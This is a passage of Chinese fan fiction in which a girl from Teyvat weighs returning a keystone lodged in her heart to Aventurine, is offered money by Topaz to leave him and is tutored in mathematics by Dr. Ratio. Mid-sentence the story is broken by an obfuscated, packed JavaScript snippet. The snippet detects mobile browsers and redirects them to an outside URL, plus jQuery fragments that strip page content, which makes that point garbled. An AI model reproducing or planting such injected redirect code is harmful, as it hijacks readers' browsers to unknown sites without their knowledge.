钟羽蓁撇嘴,在护士拉扯她的时候灵活躲开,朝砂金走进了些:“这医疗舱会不会有什么危险?譬如关上突然没电打不开、或者里面漏电……” “不会的,我就在这里看着。” 像是发现了什么惊天大秘密,一瞬间,屋内所有的视线都在钟羽蓁和砂金身上流转。 也许是砂金的笑太过自信了,钟羽蓁莫名就安心下来。 她点头躺下,不知道什么时候就在医疗舱里睡着了。 等再醒来的时候,负责查看她情况的护士脸上挂着尴尬且讨好的笑容:“您的检查已经做完了,三天之内会出结果,请注意查收。” 系统开始上传后,收到消息的下属立马进托帕办公室向她汇报。 托帕点头:“我知道了。” 下属想了想,为了显示自己有在认真办事,轻咳一声提醒道:“心脏相关的手术都是大事,托帕总监,您记得让那位小姐在术前好好休息。” “心脏……”托帕处理文件的手一顿,“她怎么了?” 属下迷惑:“不是要取出她心脏的那块砂金石吗?” 托帕花了点时间从砂金那里弄清楚了事情的来龙去脉,虽然觉得很离谱,但她更多的是不解。 万一,手术失败呢? 砂金石固然重要,难道人命就不重要了吗? 三系统时后,托帕敲响了钟羽蓁酒店的房门。 钟羽蓁正在看一部狗血爱情剧,她打开门,看见门口站着的不是外卖小哥而是托帕时,很是不解:“托帕小姐?你找我有什么事吗?” “离开砂金,我给你一千万信用点。” 钟羽蓁:…… 这话三分钟前她正巧在电视剧里听“恶毒婆婆”说过。 15. 第15章 钟羽蓁探出头,全方位寻找一遍,没有看到拍摄工具,惊讶地感叹道:“科技这么发达吗?留影机都能藏到看不见的地方,还不需要人操控……” 托帕没太理解钟羽蓁的脑回路:“嗯?” “我们不是在拍电视剧吗?” 托帕看了一眼钟羽蓁手里还没来得及暂停视频的手机,里面的女生一脸不畏权贵地摇头—— 「我绝不可能离开他的,无论是一千万信用点,还是一亿信用点!」 托帕:“……” 托帕:“我是说真的。你要是嫌给的信用点少,可以想个数再告诉我。虽然不清楚砂金到底给你灌了什么迷魂汤,让你连剖心都点头同意,但真染上他,你这辈子就算是完了。” “随便给个数都行吗?!你们这公司待遇也太好了吧,人均富婆凝光啊!”钟羽蓁啧声连连,“等等——剖心是什么意思?!是我……想的那种吗?” 说着钟羽蓁瞳孔不断放大,本能地往后一跳,只在门口留下一条小缝,随时准备关门。 “你不知道?”托帕捂头,消化了一会,“行吧……那你现在知道了,同意离开的话,我会派人送你回去。” 钟羽蓁摇头:“不行。我要是走了,砂金肯定会找你麻烦。而且……就算不是我,他也还会找别人吧?虽然我不想死,但我也不能害了别人……” “手术而言,你不会死的。另外,他不会找别人的,我也不怕他找我麻烦。” “啊?为什么?” “因为,他想取回你心脏里的砂金石。至于找我麻烦,我无所谓,大不了就是被降到P43。” 钟羽蓁敏锐地捕捉到了关键词,她捂住胸口:“取回?是什么意思?” “嗯……就如你听到的这般。你的心脏里,藏着一块拥有「存护」力量的基石,本属于砂金所有,却不知为何进入了你的心脏里。” 不等钟羽蓁想明白,托帕突然捏紧拳头朝她的脸砸去—— 钟羽蓁瞳孔猛扩,血流涌动的时候,一块屏障挡在了托帕面前。 托帕收回手,脸上神情有些复杂:“现在,相信了吧。” 钟羽蓁僵硬着脖子地点了点头,眼神有些失焦。 这的确是砂金身上出现过的力量,并且在这之前,她遇到危险的时候,机制没有被触发。 托帕将钟羽蓁默不作声的样子看在眼里,以为她是害怕,安慰道:“别担心,基石显然已经把你当成了主人。所以除非你自愿,否则砂金是没法取出来的。” “手术……有几成的可能会失败?” “按照现在的方案来看,成功几率能达到百分之九十九以上。不过,没有任何医生能保证手术百分之百成功。生命只有一次,没有机会让你胡来。”托帕突然感觉不对劲,些许安慰的笑容也消失了,“你不会真想取出来吧?基石就算放在你身体里几十年也不会有什么影响的,犯不着这么冒险!” 钟羽蓁问:“砂金石,对他而言,很重要吗?” 没想到钟羽蓁会问这个问题,托帕先是一愣,才点点头:“有很多人认为,基石比「石心十人」的性命还重要。不过……我认为没有什么比性命更为重要的。” “我知道了。”在托帕不解的注视下,钟羽蓁粲然一笑,拉开门一把抱住她,“谢谢你托帕,你是个好人!” 毛茸的耳羽随着钟羽蓁的动作轻轻抚过托帕脸颊,托帕有些难为情地往后微躲,却在听见钟羽蓁接下来的话时猛地止住动作,忍不住叹了口气。 钟羽蓁说:“既然是砂金的东西、又对他来说很重要,并且手术成功几率还那么高,那我就……还是还给他吧。” 事已至此,劝阻也没什么意义。 托帕把钟羽蓁带回了她的办公室:“外卖没什么营养,吃吧,这是我叫人给你准备的饭菜。吃饱点,身体好,手术的成功率会更高。” 都百分之九十九了还能提高吗? 钟羽蓁点点头,接过筷子,看着满桌的美食佳肴,短暂地忘记了烦恼。 肉质鲜美的辣头鱼、新鲜脆嫩的蔬菜,就连米饭都喷香细腻。 钟羽蓁吃完满满一碗饭,伸了个懒腰,想玩两把游戏才发现拿房卡的时候手机忘记带了,于是顺手拿起了放在旁边茶几上的书。 “嘶,这是什么东西?” 明明都是认识的数字,却夹杂着她看不懂的符号。 钟羽蓁合上书,发现著作者将本系列定义为《数学》,她手里拿着的是「VI」,也就是第六本。 托帕正在参与会议,用手势示意钟羽蓁随意看。 钟羽蓁看着满墙的书,找出这个系列的第一本,倚着沙发开始读了起来。 她本以为会看了两下就犯困,没想到越来越精神,为了捋清楚思绪,她甚至从托帕手里顺来了笔和纸。 托帕看着钟羽蓁窝在沙发前歪头演算的认真模样,叹了口气,从抽屉里拿了支新笔。 收到托帕发来的咨询信后,真理医生很快就猜到了事情的来龙去脉。 他决定找到那位少女探探情况,如果他猜得没错、且真有研究必要,指不定他还能根据这个意外写出一篇文章来。 真理医生敲开托帕办公室的房门,看见沙发上低头写字的钟羽蓁时愣了一瞬。 托帕说:“稍等一会,真理医生,我很快就忙完了。” 真理医生点头坐在沙发上,确认旁边地毯上蹲着的是他在频道里看到的那位少女后,开始认真打量起来。 他的目光落在把少女困住的题目上,眉头瞬间紧蹙。 “这么简单的题都不会?从第三步起就开始算错了。” 钟羽蓁回头,看见一个精致的石膏头在跟她说话,差点一个趔趄整个人摔在茶几上:“你……是人是鬼?” “还有上一道题,光是这章就有至少三种比你这更简便的方法。”真理医生抱着双臂,太阳穴突突跳个不停,“恕我直言,高数第一章就让你如此苦恼,建议——退学。” 钟羽蓁不懂就问:“退学是什么?” 不知道是不是错觉,问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598695|171967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完这句话后,钟羽蓁明显感觉那石膏头愣住了。 “你没上过学?” “噢——你是说须弥教令院那种吗?没有。不过,我爹爹请私塾先生教过我,但都太简单了,我没两天就学完了,之后都是爹爹教的我。” 真理医生石膏头下的表情稍微舒缓了些:“你来自哪个星球?” “提瓦特……星球?” 托帕挂断会议,接过钟羽蓁的话:“提瓦特大陆。准确来说不属于星际管辖范围内,不知道教授有没有听说过?” “嗯,我知道。是我研究生毕业毕业论文的选题方向。” “没想到拉帝奥教授在硕士时期就开始研究这么……偏远的星球了,不愧是能获得八个博士学位的天才呢!”房门被推开的同时,砂金那张漂亮到无可挑剔的脸出现在真理医生面前。 真理医生冷哼一声,知道砂金为何而来。 为了他那块砂金石。 托帕和钟羽蓁对视一眼,钟羽蓁坦然地看着砂金:“怎么?怕我跑了不成?” “自然不是。只不过联系不到羽蓁小姐,发现你离开了酒店,担心你遇到危险便决定过来看看。”砂金无辜摊手。 看着屋内的几人,托帕头疼地向砂金示意:“我们出去聊聊,砂金总监?” 然后她抱歉地看着真理医生:“请教授再等我几分钟。” 一等再等,真理医生抱着双臂有些怒意。 钟羽蓁察觉到他的不满,决定帮帮托帕,于是翻出了一道自认为很难的题:“拉掉教授,您能教我写一下这道题吗?” 拉、掉……教授?! 如果手里有一支粉笔,真理医生一定会毫不犹豫地把它砸在少女头上,命令她回去好好练习一下听力。 冷静过后,真理医生面无表情地道:“维里塔斯.拉帝奥,我的名字,你可以叫我拉、帝、奥,或者真理医生。” “呵呵……”钟羽蓁指了指紧闭的房门,果然甩锅,“都怪砂金吐词不清晰!” 对于自愿接触知识的人,真理医生不会打消对方的积极性,尤其是她还来自一个学术不是那么发达的大陆。 将自己的思路将了一遍,真理医生问:“听懂了吗?没听懂的话,我再……” “懂了!”钟羽蓁小鸡啄米地点点头。 真理医生以为她在敷衍他,却见钟羽蓁拿起笔,很快就在纸上演算了出来,除了计算过程磕巴了几次,其余步骤都堪称完美,真理医生甚至有些怀疑,她是不是在装傻充愣。 钟羽蓁得意地扬起下巴,一脸粲然求夸的样子:“其实也没有那么复杂,从理论上来说跟爹爹教我的算术是一样的。只不过……把答案符号化,确实会更简单些。” 跟托帕谈完,砂金和她先后走回办公室。 钟羽蓁侧着身体靠着沙发,手里拿着演算的草稿,歪头说话的时候长发落在了真理医生腿上。但两人对此都无察觉,只是沉浸在教和学的过程中。 不知为何,砂金突然觉得眼前一幕有些晃眼。